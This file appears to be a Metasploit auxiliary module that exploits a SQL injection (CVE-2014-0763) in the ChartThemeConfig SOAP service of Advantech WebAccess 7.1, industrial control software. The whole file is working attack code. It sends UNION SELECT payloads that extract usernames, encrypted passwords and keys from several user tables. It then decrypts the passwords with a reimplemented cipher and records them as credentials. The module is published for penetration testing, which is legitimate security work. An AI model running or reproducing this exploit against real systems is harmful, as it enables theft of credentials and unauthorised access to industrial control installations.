322 lines
8.6 KiB
Ruby
322 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rexml/document'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include REXML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection',
|
|
'Description' => %q{
|
|
This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The
|
|
vulnerability exists in the DBVisitor.dll component, and can be abused through malicious
|
|
requests to the ChartThemeConfig web service. This module can be used to extract the site
|
|
and project usernames and hashes.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2014-0763' ],
|
|
[ 'ZDI', '14-077' ],
|
|
[ 'OSVDB', '105572' ],
|
|
[ 'BID', '66740' ],
|
|
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-14-079-03' ]
|
|
],
|
|
'Author' =>
|
|
[
|
|
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => '2014-04-08'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']),
|
|
OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"])
|
|
])
|
|
end
|
|
|
|
def build_soap(injection)
|
|
xml = Document.new
|
|
xml.add_element(
|
|
"s:Envelope",
|
|
{
|
|
'xmlns:s' => "http://schemas.xmlsoap.org/soap/envelope/"
|
|
})
|
|
xml.root.add_element("s:Body")
|
|
body = xml.root.elements[1]
|
|
body.add_element(
|
|
"GetThemeNameList",
|
|
{
|
|
'xmlns' => "http://tempuri.org/"
|
|
})
|
|
name_list = body.elements[1]
|
|
name_list.add_element("userName")
|
|
name_list.elements['userName'].text = injection
|
|
|
|
xml.to_s
|
|
end
|
|
|
|
def do_sqli(injection, mark)
|
|
xml = build_soap(injection)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path.to_s, "Services", "ChartThemeConfig.svc"),
|
|
'ctype' => 'text/xml; charset=UTF-8',
|
|
'headers' => {
|
|
'SOAPAction' => '"http://tempuri.org/IChartThemeConfig/GetThemeNameList"'
|
|
},
|
|
'data' => xml
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body && res.body.include?(mark)
|
|
return nil
|
|
end
|
|
|
|
res.body.to_s
|
|
end
|
|
|
|
def check
|
|
mark = Rex::Text.rand_text_alpha(8 + rand(5))
|
|
injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "
|
|
injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"
|
|
data = do_sqli(injection, mark)
|
|
|
|
if data.nil?
|
|
return Msf::Exploit::CheckCode::Safe
|
|
end
|
|
|
|
Msf::Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def parse_users(xml, mark, separator)
|
|
doc = Document.new(xml)
|
|
|
|
strings = XPath.match(doc, "s:Envelope/s:Body/GetThemeNameListResponse/GetThemeNameListResult/a:string").map(&:text)
|
|
strings_length = strings.length
|
|
|
|
unless strings_length > 1
|
|
return
|
|
end
|
|
|
|
i = 0
|
|
strings.each do |result|
|
|
next if result == mark
|
|
@users << result.split(separator)
|
|
i = i + 1
|
|
end
|
|
|
|
end
|
|
|
|
def run
|
|
print_status("Exploiting sqli to extract users information...")
|
|
mark = Rex::Text.rand_text_alpha(8 + rand(5))
|
|
rand = Rex::Text.rand_text_numeric(2)
|
|
separator = Rex::Text.rand_text_alpha(5 + rand(5))
|
|
# While installing I can only configure an Access backend, but
|
|
# according to documentation other backends are supported. This
|
|
# injection should be compatible, hopefully, with most backends.
|
|
injection = "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "
|
|
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}BAUser' from BAUser where #{rand}=#{rand} "
|
|
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pUserPassword' from pUserPassword IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "
|
|
injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pAdmin' from pAdmin IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "
|
|
injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"
|
|
data = do_sqli(injection, mark)
|
|
|
|
if data.blank?
|
|
print_error("Error exploiting sqli")
|
|
return
|
|
end
|
|
|
|
@users = []
|
|
@plain_passwords = []
|
|
|
|
print_status("Parsing extracted data...")
|
|
parse_users(data, mark, separator)
|
|
|
|
if @users.empty?
|
|
print_error("Users not found")
|
|
return
|
|
else
|
|
print_good("#{@users.length} users found!")
|
|
end
|
|
|
|
users_table = Rex::Text::Table.new(
|
|
'Header' => 'Advantech WebAccess Users',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']
|
|
)
|
|
|
|
for i in 0..@users.length - 1
|
|
@plain_passwords[i] =
|
|
begin
|
|
decrypt_password(@users[i][1], @users[i][2])
|
|
rescue
|
|
"(format not recognized)"
|
|
end
|
|
|
|
@plain_passwords[i] = "(blank password)" if @plain_passwords[i].empty?
|
|
|
|
begin
|
|
@plain_passwords[i].encode("ISO-8859-1").to_s
|
|
rescue ::Encoding::UndefinedConversionError
|
|
chars = @plain_passwords[i].unpack("C*")
|
|
@plain_passwords[i] = "0x#{chars.collect {|c| c.to_s(16)}.join(", 0x")}"
|
|
@plain_passwords[i] << " (ISO-8859-1 hex chars)"
|
|
end
|
|
|
|
report_cred(
|
|
ip: rhost,
|
|
port: rport,
|
|
user: @users[i][0],
|
|
password: @plain_passwords[i],
|
|
service_name: (ssl ? "https" : "http"),
|
|
proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
|
|
)
|
|
|
|
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
|
|
end
|
|
|
|
print_line(users_table.to_s)
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def user_type(database)
|
|
user_type = database
|
|
|
|
unless database == "BAUser"
|
|
user_type << " (Web Access)"
|
|
end
|
|
|
|
user_type
|
|
end
|
|
|
|
def decrypt_password(password, key)
|
|
recovered_password = recover_password(password)
|
|
recovered_key = recover_key(key)
|
|
|
|
recovered_bytes = decrypt_bytes(recovered_password, recovered_key)
|
|
password = []
|
|
|
|
recovered_bytes.each { |b|
|
|
if b == 0
|
|
break
|
|
else
|
|
password.push(b)
|
|
end
|
|
}
|
|
|
|
return password.pack("C*")
|
|
end
|
|
|
|
def recover_password(password)
|
|
bytes = password.unpack("C*")
|
|
recovered = []
|
|
|
|
i = 0
|
|
j = 0
|
|
while i < 16
|
|
low = bytes[i]
|
|
if low < 0x41
|
|
low = low - 0x30
|
|
else
|
|
low = low - 0x37
|
|
end
|
|
low = low * 16
|
|
|
|
high = bytes[i+1]
|
|
if high < 0x41
|
|
high = high - 0x30
|
|
else
|
|
high = high - 0x37
|
|
end
|
|
|
|
recovered_byte = low + high
|
|
recovered[j] = recovered_byte
|
|
i = i + 2
|
|
j = j + 1
|
|
end
|
|
|
|
recovered
|
|
end
|
|
|
|
def recover_key(key)
|
|
bytes = key.unpack("C*")
|
|
recovered = 0
|
|
|
|
bytes[0, 8].each { |b|
|
|
recovered = recovered * 16
|
|
if b < 0x41
|
|
byte_weight = b - 0x30
|
|
else
|
|
byte_weight = b - 0x37
|
|
end
|
|
recovered = recovered + byte_weight
|
|
}
|
|
|
|
recovered
|
|
end
|
|
|
|
def decrypt_bytes(bytes, key)
|
|
result = []
|
|
xor_table = [0xaa, 0xa5, 0x5a, 0x55]
|
|
key_copy = key
|
|
for i in 0..7
|
|
byte = (crazy(bytes[i] ,8 - (key & 7)) & 0xff)
|
|
result.push(byte ^ xor_table[key_copy & 3])
|
|
key_copy = key_copy / 4
|
|
key = key / 8
|
|
end
|
|
|
|
result
|
|
end
|
|
|
|
def crazy(byte, magic)
|
|
result = byte & 0xff
|
|
|
|
while magic > 0
|
|
result = result * 2
|
|
if result & 0x100 == 0x100
|
|
result = result + 1
|
|
end
|
|
magic = magic - 1
|
|
end
|
|
|
|
result
|
|
end
|
|
end
|
|
|